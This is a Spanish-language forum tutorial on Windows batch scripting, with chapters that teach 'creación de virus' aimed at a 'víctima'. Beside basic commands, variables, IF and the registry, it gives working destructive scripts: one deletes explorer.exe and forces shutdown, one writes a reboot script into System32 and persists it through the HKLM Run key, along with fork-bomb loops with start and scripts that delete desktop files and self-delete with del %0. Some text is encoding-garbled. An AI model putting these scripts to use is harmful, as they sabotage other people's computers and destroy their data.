msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker
reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)
> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
Espero que lo hayan entendido... en brebes palabras_
> crea o remplaza un archivo
>>salta asta la linea siguiente
ejemplo:
Código:
@echo off
echo txshack>hola.txt
exit
Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack
* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
borrara todos los archivos con extension .jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.
? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?
El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
c?sa.* (archivos c -un caracter- sa y de cualquier extension)
*asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)
CHDIR o CD [path>
Cambia al directorio indicado.
CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
CD .. Trasladarse al directorio superior
CD \\ Trasladarse al ra?*z
ATTRIB [/S> [archivo>
Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.
Con el par?metro /S busca tambin en subdirectorios.
Los atributos son:
H -> oculto. Se activa con +h y desactiva con -h
R -> Lectura. Solo lectura con +r, normal con -r
S -> Sistema. Se activa con +s y desactiva con -s
A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.
ATTRIB archivo.txt Muestra los atributos de ese archivo
ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt
Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only)
shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u otra:
si esta seguido de -r se reiniciara el equipo
-s hara que se apage
-f forzara a cerrarse todos programas
-t 15 indica el tiempo...en este caso 15 segundos
-c " " lo que va entre comillas sera un mensaje...
pongamos un ejemplo_
shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.
Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por hoy
CAPITULO 6: INICIACION A LA CREACION DE VIRUS
Como ya os habia dicho, a partir de aqui, comenzaremos con la creacion de virus.
Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.
1.)Introduccion
Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para expertos. En este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)
¿Que es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
explicacin: @echo off
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.
explicacin: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.
explicacin: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo
de antes pusimos 1 segundo.
otros parametros de shutdown:
shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.
Comandos b?sicos
a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos
Comandos del registro
Operaciones:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros despus de reg.
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)
Bucles
Bueno un bucle es repetir muchas veces lo mismo
ejemplo
@echo off
:txshack
echo te estoy haciendo un bucle jaja
goto txshack
jeje ya podeis imaginaros las cosas que podeis hacer.
otro ejemplo:
@echo off
:menu
start
goto menu
Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le trabar? todo.
el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.
podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start http://infiernohacker.mundoforo.com)
Nuestro segundo virus.
@echo off
taskkill /F /IM msnmsgr.exe
del /F c:\windows\system32\explorer.exe
shutdown -s -t 10 -c "Asta luego lucas!!"
Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD
Variables de windows xp
para ver el contenido de estas variables escriban en cmd.exe
echo %NOMBREDELAVARIABLE%
%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administracin Normalmente c:\windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesin
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesin
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (\\mihost)
no son todos pero estan los mas importanter
CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS
Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido hacerlo.
Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...
Podemos crear un virus que se ejecute, haga su funcion y ya esta...
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...
Como podemos ver el da?o no es igual...
imaginen este virus:
@echo off
shutdown -r -f -t 5
exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo vuelva a ejecutar...
Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia algo mas no?
Pues bien, esto es lo que voy a intentar explicar.
1?‚º Devemos acer que nuestro virus se cree en algun directorio
2?‚º A?adirlo al registo, (a run)
3?‚º Esto ya es opcional, podemos hacer q se ejecute, o poner algo en el bat... etc
Bueno, en primel lugar, comenzaremos como siempre
@echo off
A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o System32 o Windows... etc
Si queremos que se guarde en c: basta con escrivir tan solo cd
@echo off
cd
Si por ejemplo queremos q se guarde en System32, pues ariamos:
@echo off
cd c:\windows\system32
Y de esta forma igual con cualquier otro directorio....
Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en system32... es decir... crear uno desde el principio, apartir de este...
Lo veran mejor con el siguiente ejemplo
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
exit
Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el porqe del > y del >>.
Por si no lo saben se lo explico brebemente:
El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda a?adirlo a RUN para q se inicie con windows...
Para ello a?adiremos lo siguiente:
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta C:\windows\system32.
Si hubiesemos dado otro nombre o otra ruta, solo seria modificarlo.
Asi que de momento nuestro virus iria asi:
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
exit
Pues con esto ya ariamos una buena chapuzilla a alguno xD jeje.
Ahora podriamos poner algun mensaje y tambien ejecutar el bat...
Por ejemplo asi:
Código:
@echo off
cd c:\windows\system32
echo @echo off > virus.bat
echo shutdown -r -s -t 5 >> virus.bat
echo exit >> virus.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
msg * Estas perdido amigo
msg * Ahora TxShack domina tu pc
msg * jajaja
start c:\windows\system32\virus.bat
exit
Bueno, y asta aqui, explicare por hoy
Espero que lo hayan entendido todo...
Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de archivos...etc
Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.
Un saludo, y asta pronto.
Como iniciarse en batch desde el principio
Indice
1. ¿Que es Batch?
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 ¿Como guardo el Batch?
2. Variables
2.1 Variables del entorno
3. Automatizando Tareas (AT)
4. Utilizacion de comandos de red
5. Redirecciones
6. %0, %1, etc.
7. Manejo del Registro
1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
1.1 Codigos Basicos y Pequeña Practica
Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas.
Los comandos basicos de batch son los siguientes:
*ECHO: imprime un texto en pantalla
[email protected] OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador
Ahora probamos
Abres el Block y escribes el siguiente codigo.
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit
Aca una screen del codigo anterior luego de ser compilado y funcionando:
Ahora expliquemos el codigo que copiaste
@Echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.
Title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Echo
este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"
Pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.
Pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"
1.2 ¿Como guardo el Batch?
Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...
Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"
2. Variables
DEFINICION
Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos
). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%
A LA PRACTICA
comenzaremos examinando el code siguiente:
@echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
echo presiona una tecla para continuar
pause > nul
set /p nombre=como te llamas?
set /p edad=cuantos anios tenes?
set /p comida= que comes?
pause > nul
echo hola %nombre%
echo veo que tienes %edad% anios verdad?
echo como rayos te puede gustar %comida%?
pause > nul
exit
Ahora Examinemos el code:
set /p nombre=como te llamas?
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.
He aqui un modelo standar de variable
set /p var1=que valor le asigna a la variable 1?
tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo
set var=pesos
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto
este seria el ejemplo del programa corriendo asi se entiende mejor:
Bienvenidos al ejercicio para aprender variables
.
Presione una tecla para continuar
como te llamas? holy
que edad tienes? 14
que comes? nada
hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:
%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz
para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad
@echo off
title pruba
echo ahora se ejecutara el notepad
%homedrive%/windows/system32/notepad.exe
exit
en caso de que tubieramos en el disco c:
eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar batch.
3. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.
@echo off
at 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /next:4 4:00 shutdown -s -f -t 01
pause > nul
exit
@echo off
at /every:4/2 4:00 shutdown -s -f -t 01
pause > nul
exit
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.
@echo off
rem este code contiene una redireccion,
at 3:00 shutdown -s -f -t 05 > c:/shut.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"
del %0
exit
.4 Utilizacion de comandos de red
Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su explicacion.
FTP
Iniciar el cliente ftp
IPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuración
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?
NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Enivia paquetes a un host para comprovar su disponibilidad
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
muestra el camino que se toma hasta llegar a la ip
5. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.
@echo off
shutdown -s -f -t 01 >> "c:/shut.bat"
En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.
@echo off
del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"
del /f /q %0
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:
echo hola > prn
Este code tendria que salir por la impresora.
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
6.%0, %1, etc.
Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:
@echo off
del /f /q %0
exit
Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden especificar para un comando.
dir /p
en este caso "/p" seria igual a %1.
Entonses si ponemos
del /f /q
"/f" es %1 y "/q" es %2
Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:
C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help
y luego solo normalmente
C:\Documents and Settings\Francisco\Escritorio\>prueba.bat
@echo off
title Ejemplo de variables
if %1==/help (goto help) else goto :tex
:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit
:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit
7.Manejo del Registro
Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se pueden especificar y muchas funcionalidades. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:
REG ADD / Para agregar una clave al registro
REG QUERY / Para consultar una clave
REG EXPORT / Para exportar claves
REG IMPORT / Importa una clave exporta anteriormente con EXPORT.
REG COMPARE / compara una clave con otra.
REG ADD
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.
REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.
REG EXPORT
clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar
Espero que le sirva a alguien que quiera comenzar con batch
Comentar no cuesta nada
Programación BATCH Avanzada.
Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF
________________________________________
Variables y Argumentos
El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.
Los argumentos que recibe un batch, son recibidos de la siguiente forma:
batch argumento1 dos tres
hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres
en %0 se guardara, el nombre del archivo.
Podemos borrar el contenido de un parametro con el comando shift:
Código:
@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3
al llamar:
Código:
C

ocuments and SettingsAdministradortempcurso>astring 123 456 789
astring 123 456 789
astring 456 789
shift borro, el primer argumento.
Tambien contamos con los siguientes modificadores para los archivos:
Código:
%~f1 - regresa la ruta y el archivo de %1.
%~d1 - regresa la letra de la unidad de %1.
%~p1 - regresa solo la ruta del archivo %1.
%~n1 - regresa solo el nombre de archivo %1.
%~x1 - regresa solo la extension del archivo %1.
%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
%~a1 - regresa los atributos del archivo.
%~t1 - regresa la hora/fecha del archivo %1
%~z1 - regresa el tamaño del archivo %1.
por ejemplo:
en un directorio donde tenemos:
Código:
C

ocuments and SettingsAdministradortempcurso>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: A057-553B
Directorio de C

ocuments and SettingsAdministradortempcurso
24/07/2006 12:25a <DIR> .
24/07/2006 12:25a <DIR> ..
24/07/2006 12:25a 6 archivo.txt
1 archivos 6 bytes
2 dirs 401,715,161,088 bytes libres
este batch:
Código:
@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1
llamandolo analiza.bat, saca el siguiente resultado:
Código:
C

ocuments and SettingsAdministradortempcurso>analiza archivo.txt
Ruta al archivo: C

ocuments and SettingsAdministradortempcursoarchivo.txt
Disco: C:
Solo ruta: Documents and SettingsAdministradortempcurso
Nombre: archivo
Extension: .txt
Ruta Corta: C

OCUME~1ADMINI~1TEMPCU~1archivo.txt
Atributos: --a------
Fecha: 24/07/06 12:25a
Tama±o: 6
Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código:
@echo off
echo %~anxt1
saca este resultado:
Código:
C

ocuments and SettingsAdministradortempcurso>analiza archivo.txt
--a------ 24/07/06 12:25a archivo.txt
Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:
astring "parametro de varias letras"
al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:
Código:
@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1
saca este resultado:
Código:
C

ocuments and SettingsAdministradortempcurso>astring "parametro de varias letras"
Con Comillas: "parametro de varias letras"
Sin Comillas: parametro de varias letras
Y por ejemplo, si queremos obtener todos los argumentos, se usa:
%*
es decir:
Código:
@echo off
echo Argumentos: %*
al ejecutar:
astring parametro de varias letras
nos regresa:
Código:
C

ocuments and SettingsAdministradortempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras
Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:
set /P variable=
por ejemplo:
Código:
@echo off
echo ¿Como te llamas?
set /P miva=
echo Tu te llamas %miva%
hara algo asi:
Código:
C

ocuments and SettingsAdministradortempcurso>astring
┐Como te llamas?
Juan
Tu te llamas Juan
Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:
Código:
@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%
Aqui lo que estamos haciendo en la ultima linea:
%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.
por ejemplo, esto:
%NOM:~1,3%
obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)
Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código:
@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%
esto reemplazara las letras "e" por "XXX".
Para hacer calculos matematicos, se usa el modificado /A, de esta forma:
Código:
@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%
tenemos las siguientes operaciones disponibles:
Código:
() - agrupar
* / % - operadores aritméticos
+ - - operadores aritméticos
<< >> - mayús lógica
& - AND
^ - XOR
| - OR
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión
Con este podemos usar numeros hexadecimales de la siguiente forma:
Código:
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%
al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.
________________________________________
Imprimir caracteres sin usar comandos
Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?
veamos:
Código:
@echo off
set x=pru
set pru=HOLA
:: Esto imprimira el contenido de x
echo %x%
::Esto imprimira la letra x
echo x
::Esto imprimira %x%
echo %%x%%
::Esto imprimira el valor de x entre %%
echo %%%x%%%
:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%
En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.
Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
<
>
debes colocar este caracter antes:^
por ejemplo:
Código:
echo <html><h1>Hola</h1></html> >index.html
no funcionara, pero:
Código:
echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html
dara:
Código:
C

ocuments and SettingsAdministradortempcurso>type index.html
<html><h1>Hola</h1></html>
________________________________________
Algunas otras variables de entorno
Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:
Código:
@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%
dara como resultado:
Código:
C

ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C

ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:49.33
Numero Aleatorio: 24523
C

ocuments and SettingsAdministradortempcurso>astring
Directorio Actual: C

ocuments and SettingsAdministradortempcurso
Fecha: Lun 24/07/2006
Hora: 2:13:51.60
Numero Aleatorio: 3681
Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
POPD
echo %CD%
PUSHD funciona de la siguiente manera:
Guarda el directorio actual., y va a la ruta especificada.
POPD regresa al directorio guardado por PUSHD
podemos usarlos uno dentro de otro, asi:
Código:
@echo off
echo %CD%
PUSHD
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%
________________________________________
IF
If, reconoce varias situaciones:
valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas
como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.
al hacer
IF ERRORLEVEL 1 @echo ok ELSE @echo no
estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.
tambien podemos comparar cadenas, por ejemplo:
Código:
@echo off
IF "%~1"=="hola" echo hola
usamos %~1 para que aunque el usuario ponga comillas, no salga error
Código:
@echo off
IF /I "%~1"=="hola" echo hola
este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.
ahora, podemos usar IF en varias lineas:
Código:
@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
)
con parentesis ().
si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación:
Código:
EQU - igual
NEQ - no igual
LSS - menor que
LEQ - menor que o igual
GTR - mayor que
GEQ - mayor que o igual
por ejemplo:
Código:
@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
